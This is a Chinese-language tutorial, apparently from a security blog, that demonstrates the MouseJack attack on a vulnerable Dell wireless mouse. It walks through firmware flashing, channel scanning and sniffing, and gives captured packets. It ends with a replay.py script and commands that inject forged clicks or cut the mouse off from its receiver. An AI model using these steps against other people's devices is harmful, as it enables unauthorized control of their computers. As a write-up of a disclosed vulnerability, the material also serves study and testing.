Mousejack Hacking : 如何利用MouseJack进行物理攻击

0×00 前言

近期安全公司Bastille Networks(巴士底狱)安全研究员发现大多数无线鼠标和接收器之间的通信信号是不加密的。黑客可对一百米范围内存在漏洞的蓝牙无线键鼠进行嗅探甚至劫持,从而控制受害者电脑,向计算机中输入任何指令!在本文中我们将演示如何利用mouseJack控制别人的鼠标。

0×01 环境搭建

刚开始选设备的时候在淘宝买了一块nRF24LU1 2.4GHz无线数传模块 和 2.4GHz nRF24LU1+PA+LAN 无线数传模块

结果硬是被坑了一个星期,期间在乌云drops看到三好学生的Mousejack测试指南一文后改用Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle。

1.1设备:

1.Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle:

2.戴尔DELL某款存在漏洞的键鼠

3.笔记本、虚拟机:Virtual Box 、OS:kali

1.2 插入设备&安装驱动

插入Crazyradio nRF24LU1+ USB radio dongle,如果是Windows的主机需要通过zadig来安装Crazyradio nRF24LU1+ USB radio dongle的硬件驱动:

1.3 环境部署

apt-get install sdcc binutils python python-pip
pip install -U pip
pip install -U -I pyusb
pip install -U platformio

接着把设备接入到虚拟机,执行lsusb检测设备是否识别:(注 刚买的设备在这一步可以看到有个设备的id为1915:7777,本文中使用的设备已经执行完下文所有步骤,所以文中截图的ID值有所不同)

1.4刷入crazyradio pa固件

git clone https://github.com/bitcraze/crazyradio-firmware
cd crazyradio-firmware

python usbtools/launchBootloader.py    这一步最好在Virtual Box中执行,如果使用VM将会报错!

https://github.com/bitcraze/crazyradio-firmware/releases/download/0.53/cradio-pa-0.53.bin  下载cradio pa模块固件

python usbtools/nrfbootload.py flash cradio-pa-0.53.bin 烧录固件

此时重插拔设备,然后执行lsusb Crazyradio nRF24LU1+ USB radio dongle设备的ID为1915:1011

1.5编译MouseJack项目

git clone https://github.com/RFStorm/mousejack.git
cd mousejack
make
make install

绿色部分以及上一行提示固件刷入成功,需要重新插拔一下设备。升级为mousejack的固件时,设备ID为1915:1012。

0×02 蓝牙频段&蓝牙跳频

在扫描嗅探之前我们来了解一下蓝牙的跳频。蓝牙工作于2.4~2.48GHz ISM频段,由于该频段频谱异常拥挤(11b/g,微波炉、WIFI等),并且BlueTooth采用低功耗(-6~+4dBm)。因此为了避免频率的相互冲突,蓝牙采用了AFH(Adaptive Frequency Hopping),LBT(Listen Before Talk),功率控制等抗干扰措施。 AFH 的实现过程为设备识别、信道分类、分类信息交换、自适应跳频。

设备识别:蓝牙设备之间进行互联之前,首先根据链路管理协议(LMP:Link Manager Protocol)交换双方之间的信息,确定双方是否均支持AFH模式,LMP信息中包含了双方应使用的最小信道数。此步骤由主机进行询问,从机回答。

信道分类:首先按照PLRs(Packet Loss Ratios)的门限制、有效载荷的CRC,HEC,FEC误差参数对每一个信道进行评估。从设备测量CRC时,也会自动检测此包的CRC,已决定此包的正误。然后主从设备分别按照LMP的格式形成一份分类表,之后主从设备的跳频会根据此分类表进行。

信道信息交换:主从设备会通过LMP命令通知网络中的所有成员,交换AFH的信息,信道被分为好信道,坏信道,未用信道。主从设备之间联系以确定那些信道可用,那些不可用。

执行AFH:先进性调频编辑,以选择合适的调频频率。由于环境中会存在突发干扰,所以调频的分类表需要进行周期性跟新,并且及时进行相互交流。

小科普:

ISM,Industrial Scientific Medical :工业科学及医疗频带,是无须授权、任何人均可使用频谱的一部分。

蓝牙的波段为2400–2483.5MHz,这是全球范围内无需取得执照(但并非无管制的)的工业、科学和医疗用(ISM)波段的 2.4 GHz 短距离无线电频段。

蓝牙使用跳频技术,将传输的数据分割成数据包,通过79个指定的蓝牙频道分别传输数据包。每个频道的频宽为1 MHz。蓝牙4.0使用2 MHz 间距,可容纳40个频道。第一个频道始于2402 MHz,每1 MHz一个频道,至2480 MHz。有了适配跳频(Adaptive Frequency-Hopping 简称AFH)功能,通常每秒跳1600次。

跳频是Bluetooth使用的关键技术之一。对应于单时隙包,Bluetooth的跳频速率为1600跳每秒,对应于多时隙包,跳频速率有所降低;但在建链时(包括寻呼和查询)则提高为3,200跳每秒。使用这样高的跳频速率,Bluetooth系统具有足够高的抗干扰能力。下图展示的是低功耗蓝牙(Bluetooth Low Energy BLE)的信道:3个广播信道,37个数据信道:

蓝牙信道频率表

BlueTooth 有79个射频信道,按0-78排序,并于2402 MHz开始,以1 MHz分隔:(关于蓝牙和低功耗蓝牙的更多细节可参考:低功耗蓝牙(BLE)入门之如何调戏别人的小米手环 一文)

channel 00 : 2.402000000 Ghz
channel 01 : 2.403000000 Ghz
…
channel 78 : 2.480000000 Ghz

0×03扫描

mousejack项目tools目录中有扫描、嗅探等功能的Python脚本:

注:每次执行完脚本的时候需要重新插拔一下Crazyradio,否则下次执行脚本将会出现报错。

这里我们来说一下如何通过扫描查找附近的蓝牙鼠标。

用法: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL]

optional arguments:
  -h, --help                          show this help message and exit 显示帮助信息
  -c N [N ...], --channels N [N ...]  RF channels 指定扫描信道
  -v, --verbose                       Enable verbose output  输出(显示)详细信息
  -l, --lna                           Enable the LNA (for CrazyRadio PA dongles)  启用LAN
  -p PREFIX, --prefix PREFIX          Promiscuous mode address prefix
  -d DWELL, --dwell DWELL             Dwell time per channel, in milliseconds

我们可以看到执行扫描脚本后终端打印出了日期-时间、信道、MAC地址数据包数据等。

0×03 嗅探

如何缩小范围捕获指定设备的数据包呢?这里就要用到嗅探脚本了。我们可以对某个设备进行频繁操作,使其不停地发送蓝牙数据包,这样在终端出现的概率随之增加,然后记录其MAC地址,启用指定MAC地址参数嗅探该设备以确定出该款鼠标的蓝牙工作信道(一般为5个信道、不同品牌、型号其值也有所不同)。

用法: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]

optional arguments:
  -h, --help                                 show this help message and exit 打印帮助信息
  -c N [N ...], --channels N [N ...]         RF channels  指定信道
  -v, --verbose                              Enable verbose output  启用详细信息输出
  -l, --lna                                  Enable the LNA (for CrazyRadio PA dongles)   启用LAN
  -a ADDRESS, --address ADDRESS              Address to sniff, following as it changes channels  指定MAC地址
  -t TIMEOUT, --timeout TIMEOUT              Channel timeout, in milliseconds  设定信道超时值
  -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT  ACK timeout in microseconds, accepts [250,4000], step 250
  -r RETRIES, --retries RETRIES              Auto retry limit, accepts [0,15]  

我手上有一款存在漏洞的设备,其MAC地址为C6:4A:78:A2:02,这一MAC地址是鼠标的还是USB适配器的我们暂且不说。已知的是:鼠标发送的数据包带这一MAC地址,USB适配器也只接收带有这MAC地址的数据包。执行

./nfr24-sniffer.py -a C6:4A:78:A2:02

然后频繁对鼠标进行操作,我们可以抓取到如下数据:

对其它鼠标进行测试的时候一般可以捕获到五个信道,这款设备我们捕获到了2、15、79、49、83 这五个信道。

其实也可以利用扫描脚本加入-c参数指定信道来进行嗅探:(这种方法会嗅探到其它在同一信道通信的鼠标设备数据,建议在无线鼠标设备少的场景使用此方法)

./nrf24-scanner.py -c 2 15 79 49 83

0×04 攻击

4.1 劫持&重放

在上面的样本中,我们可以发现其中数据的一些规律。通过Crazyradio nRF24LU1+ USB radio dongle我们可以伪装成原装的鼠标,给USB适配器发送十六进制数据包。(可伪造鼠标左右键以及滚轮操作)

鼠标左键数据捕获(只按鼠标左键):

[2016-03-17 14:21:57.827]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.834]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.848]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.898]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.937]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:58.002]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:58.096]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:59.362]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

鼠标右键数据:

[2016-03-17 14:31:18.540]  79  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:20.316]   2  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:22.300]  44  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:27.202]  44  10  C6:4A:78:A2:02  02:00:01:00:00:00:00:3B:61:74

[2016-03-17 14:31:27.275]  44  10  C6:4A:78:A2:02  02:00:02:00:00:00:00:3B:61:74

[2016-03-17 14:31:28.606]  79  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:29.157]   6  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

exp: replay.py

import time, logging
from lib import common
import random
common.init_args('./replay.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-d', '--payloads', type=str, nargs='+' ,help='Need replay payloads', required=True, metavar='S')

common.parse_and_init()

address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])

if len(address) < 2:
    raise Exception('Invalid address: {0}'.format(common.args.address))

common.radio.enter_sniffer_mode(address)

def replay():
    payloads = common.args.payloads
    c = random.choice(common.channels)

    print 'Trying address {0} on channel {1}'.format(address_string,c)
    common.radio.set_channel(c)
    for payload in payloads:
        print 'Tring send payload {0}'.format(payload)
        payload = payload.replace(':', '').decode('hex')
        common.radio.transmit_payload(payload)
    time.sleep(0.5)

def left_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["21:01:00:AB:11:D1"]
    common.radio.set_channel(79)
    for payload in payloads:
        payload = payload.replace(':', '').decode('hex')
        common.radio.transmit_payload(payload,2,3)
    time.sleep(1.0)

def right_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["21:02:00:AB:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.5)

def down_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["01:00:FF:0B:11:D1","01:00:FD:0B:11:D1","01:00:F9:0B:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.3)

def up_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["01:00:00:0B:11:D1","01:00:03:0B:11:D1","01:00:06:0B:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.3)

while True:
    replay()
    #down_click()
    #up_click()
    #right_click()
    #left_click()
python replay.py -c 2 15 79 49 83  -a C6:4A:78:A2:02 -d 02:01:00:00:00:00:00:3B:61:74 02:00:00:00:00:00:00:3B:61:74 02:02:00:00:00:00:00:3B:61:74
replay目录位置 $mousejack/tools

-c 指定信道

-d 指定需要发送的数据

4.2解除鼠标与USB适配器通讯

./nrf24-network-mapper.py -a C6:4A:78:A2:02

这时需要重新插拔一下无线键盘鼠标的USB适配器,鼠标键盘才能恢复正常使用。

0×05 演示视频

0×06 参考&感谢

https://github.com/RFStorm/mousejack

Mousejack测试指南

时间: 2024-09-26 05:27:52

Mousejack Hacking : 如何利用MouseJack进行物理攻击的相关文章

如何利用Mousejack劫持无线鼠标并攻击目标计算机

本文讲的是如何利用Mousejack劫持无线鼠标并攻击目标计算机, 前言 在内部交互行为中,对本地网络上的名称解析请求进行病毒感染,是获得一组初始域名凭据的有效方法之一.虽然这种方法对许多客户端有用,但是如果链路本地组播名称解析(LLMNR)和NETBIOS协议名称服务(NTB-NS)被安全地配置或者禁用?那该怎么办? PROTIP: Always prove multiple means of access whenever possible during engagements! 渗透测试员

GnuRadio Hacking②:使用SDR嗅探北欧芯片无线键盘鼠标数据包

0×00 前言 上半年的时候安全公司Bastille Networks(巴士底狱)安全研究员发现大多数无线鼠标和接收器之间的通信信号是不加密的,黑客可对一两百米范围内存在漏洞的无线键鼠进行嗅探甚至劫持,从而控制受害者电脑,向计算机中输入任何指令! 相关阅读:Mousejack Hacking : 如何利用MouseJack进行物理攻击 该漏洞在于通信数据不加密,导致数据可被嗅探.劫持.今天的分享不再使用Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle,我们

盘点2016年“最创新”的8种攻击方式

回顾即将过去的这一年,勒索软件正逐渐成为俄罗斯黑客进行政治宣传和网络攻击的强大武器.但是人们容易忽略的一点是,2016年发生的所有攻击事件并非都是如此丑陋和暴力的. 虽然,在过去这一年间,网络犯罪和网络间谍的控制和影响范围正在进一步扩张,但是2016年也展现了一些鲜为人知的"好"的一面:安全研究人员通过改变游戏规则进行了一系列饱含创意的网络攻击活动,他们通过既有创意又令人不安的攻击方法来破解物联网设备.攻破锁定计算机以及劫持电脑鼠标等. 所以,如果你依然对风靡一时的"400磅

如何用极路由+OpenWrt+SDR电视棒搭建SDR服务器

0×00 前言 近期因为有个从异地捕获无线信号的需求,便尝试着用OpenWrt+公网IP搭建了一台SDR服务器.如果有小伙伴嫌SDR硬件天线看起来太乱.或者电脑没有足够的USB接口也可在局域网搭建SDR服务器通过TCP/IP调用SDR硬件. HiWiFi router 0×01 获取root 刚买的极路由关闭了root功能,需要开启路由的开发者模式后才能通过SSH连入shell交互界面.申请开发者模式流程:进入路由器后台-云平台-路由器信息-高级设置-申请-绑定手机-输入验证码-绑定微信-微信账

黑客可入侵自动洗车系统暴力攻击驾驶人

只要机器人接管,没什么地方是安全的.甚至洗个车都会遭黑.     黑客发现,把温和的全自动洗车转变为暴力攻击怪兽,真是太容易了--远程劫持了洗车系统就行. PDQ LaserWash 是无接触自动洗车房,无需服务员即可完成洗车操作.洗车程序可设置开关时间,驾驶员通过触摸屏选择洗车类型. 技术员可在互联网上监视洗车房运行情况,而这也正是问题的源头. 网络安全研究人员称,黑客可轻易猜解进入系统的口令,绕过身份验证工具登入系统.自此,特别暴力的黑客就有了大把办法可供玩弄使用该洗车房的人: 该设备的软件

MouseJack:利用15美元的工具和15行代码控制无线鼠标和键盘

Bastille的研究团队发现了一种针对蓝牙键盘鼠标的攻击,攻击者可以利用漏洞控制你的电脑操作.研究团队将此攻击命名为MouseJack. 七大厂商皆中招 软件工程师马克纽林说:"利用假冒的无线电脑鼠标和键盘可以从100米的距离利用便携式外围设备入侵笔记本电脑,这些设备来自至少七家大厂商,包括罗技.微软.亚马逊". 相对于通常被加密的键盘无线链路来说,攻击目标通常为明文和非蓝牙端口和鼠标之间的安全通信. 纽林,Bastille的安全装备机构,发现了针对13种鼠标和键盘的攻击并向各厂商报

经典案例之MouseJack

引言:在昨天的文章<无线键鼠监听与劫持>中,我们提到今天会向您介绍一个无线键鼠的监听与劫持的经典案例,<MouseJack>:MouseJack能利用无线鼠标和键盘存在的一些问题,达到伪装成键盘并实现任意按键的效果. 关于无线键鼠的监听与劫持有两个比较有参考价值的案例.其中之一就是MouseJack,它能利用无线鼠标和键盘存在的一些问题,达到伪装成键盘并实现任意按键的效果.造成的危害是可以伪装键盘输入任意命令控制计算机,甚至通过命令脚本下载病毒或者木马进行进一步的攻击. Mouse

Mousejack测试指南

0x00 前言 近日,Bastille的研究团队发现了一种针对蓝牙键盘鼠标的攻击,攻击者可以利用漏洞控制电脑操作,他们将此攻击命名为MouseJack. 攻击者仅需要在亚马逊上以60美元购买设备,改造之后即可对百米范围内存在漏洞的蓝牙无线键鼠进行劫持,向受害计算机输入任意指令.相信对此感兴趣的人有很多,所以我根据其公布的信息购买了相应设备来进行测试,现将测试经验分享给大家. 0x01 简介 软件工程师马克纽林说:"利用假冒的无线电脑鼠标和键盘可以从100米的距离利用便携式外围设备入侵笔记本电脑,

GSM BTS Hacking: 利用BladeRF和开源BTS 5搭建基站

引文 如果你已经购买了Nuand(官方)BladeRF x40,那么就可以在上面运行OpenBTS并可以输入一些指令来完成一些任务.一般来说HackRF,是一款覆盖频率最宽的SDR板卡.它几乎所有的信息都是开源的,甚至包括KiCad文件.缺点是它没有FPGA,使用的低速的USB2接口,ADC/DAC的精度比较低. 再使用 bladeRF 板卡时需要注意两个"镜像":固件 (firmware) 镜像与 FPGA 镜像.二者是两个不同的概念.但是业界叫法不一,有时候会把二者混为一谈.一般而